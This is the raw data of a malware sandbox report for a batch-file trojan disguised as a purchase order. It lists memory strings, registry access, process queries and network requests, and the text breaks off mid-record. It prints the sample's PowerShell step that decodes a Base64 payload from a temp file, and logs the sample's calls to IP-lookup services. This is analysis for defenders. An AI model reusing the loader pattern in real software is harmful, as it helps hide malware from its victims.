24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 68:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4be,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious BAT/Agent.SBM trojan Sample 6fd8b59fa6f1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6fd8b59fa6f1…. Malware family: BAT/Agent.SBM trojan. Threat score 100/100. 2/26 AV engines flagged this file. 16 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268","keywords":["Malicious","BAT/Agent.SBM trojan","malware analysis","sandbox report","threat intelligence","6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268"],"about":{"@type":"SoftwareApplication","name":"RFQ-SNQ09-07080-MQ-06979-0409-PR-058680-Order.bat","applicationCategory":["script","bat"],"identifier":"6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"BAT/Agent.SBM trojan","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":16,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T65c,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data.I" (Indicator: "Format-Hex"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found string "# 170..180 | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp")26:T75d,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\POWERSHELL.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED")27:T97a,"cmd.exe" queried SystemProcessInformation at 00000000-00004164-00000C15-1535895982 [PID: 4164] "cmd.exe" queried SystemProcessInformation at 00000000-00004164-00000C15-1535905090 [PID: 4164] "cmd.exe" queried SystemProcessInformation at 00000000-00004164-00000C15-1536213349 [PID: 4164] "cmd.exe" queried SystemProcessInformation at 00000000-00004164-00000C15-1536222348 [PID: 4164] "cmd.exe" queried SystemProcessInformation at 00000000-00001120-00000C15-1537022262 [PID: 1120] "cmd.exe" queried SystemProcessInformation at 00000000-00001120-00000C15-1537031783 [PID: 1120] "cmd.exe" queried SystemProcessInformation at 00000000-00001120-00000C15-1537312000 [PID: 1120] "cmd.exe" queried SystemProcessInformation at 00000000-00001120-00000C15-1537321148 [PID: 1120] "reg.exe" queried SystemProcessInformation at 00000000-00000696-00000C15-1537896696 [PID: 696] "reg.exe" queried SystemProcessInformation at 00000000-00000696-00000C15-1537905485 [PID: 696] "reg.exe" queried SystemProcessInformation at 00000000-00000696-00000C15-1538153675 [PID: 696] "reg.exe" queried SystemProcessInformation at 00000000-00000696-00000C15-1538162185 [PID: 696] "reg.exe" queried SystemProcessInformation at 00000000-00006912-00000C15-1543043427 [PID: 6912] "reg.exe" queried SystemProcessInformation at 00000000-00006912-00000C15-1543051526 [PID: 6912] "reg.exe" queried SystemProcessInformation at 00000000-00006912-00000C15-1543373729 [PID: 6912] "reg.exe" queried SystemProcessInformation at 00000000-00006912-00000C15-1543382033 [PID: 6912] "reg.exe" queried SystemProcessInformation at 00000000-00002560-00000C15-1548125232 [PID: 2560] "reg.exe" queried SystemProcessInformation at 00000000-00002560-00000C15-1548133893 [PID: 2560] "reg.exe" queried SystemProcessInformation at 00000000-00002560-00000C15-1548374338 [PID: 2560] "reg.exe" queried SystemProcessInformation at 00000000-00002560-00000C15-1548382689 [PID: 2560] "reg.exe" queried SystemProcessInformation at 00000000-00007332-00000C15-1553165404 [PID: 7332] "reg.exe" queried SystemProcessInformation at 00000000-00007332-00000C15-1553173856 [PID: 7332] "reg.exe" queried SystemProcessInformation at 00000000-00007332-00000C15-1553434131 [PID: 7332] "reg.exe" queried SystemProcessInformation at 00000000-00007332-00000C15-1553442959 [PID: 7332] "powershell.exe" queried SystemProcessInformation at 00000000-00001332-00000C15-1560246181 [PID: 1332]28:Td03,file/memory contains long string with (Indicator: "FromBase64String"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found reference to API "set "C_B64=GetString([Convert]::FromBase64String((Get-Content '!line!' -Raw).Replace('`r','').Replace('`n','')))"" (Indicator: "FromBase64String"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found reference to API "C_B64=GetString([Convert]::FromBase64String((Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))" (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.67640000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found reference to API "[Convert]::FromBase64String((Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))" (Indicator: "FromBase64String"; Source: "00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp") Found reference to API "C_B64=GetString([Convert]::FromBase64String((Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))" (Indicator: "FromBase64String"; Source: "00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000000.168853.02F50000.00000004.mdmp, 00000000-00001612.00000000.168853.048B0000.00000004.mdmp, 00000000-00001612.00000001.170318.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp, 00000000-00001612.00000001.170318.02F50000.00000004.mdmp, 00000000-00001612.00000001.170318.048B0000.00000004.mdmp, 00000000-00001612.00000001.170318.1D6C4000.00000004.mdmp")29:T15bd2,Contains base64 string in header "MSIE" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "CLR1" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "3705" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "CLR1" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "3705" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "Host" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "Keep" in header "GET /xml/64.124.12.162 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive" Contains base64 string in header "/sg/msn/1/cm" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "222166F75FD3671F181970045E3D66DC" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gdpr" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2Host: trc.taboola.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: noneReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "microsoftSsp" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "true" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gdpr" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "linkedin" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: 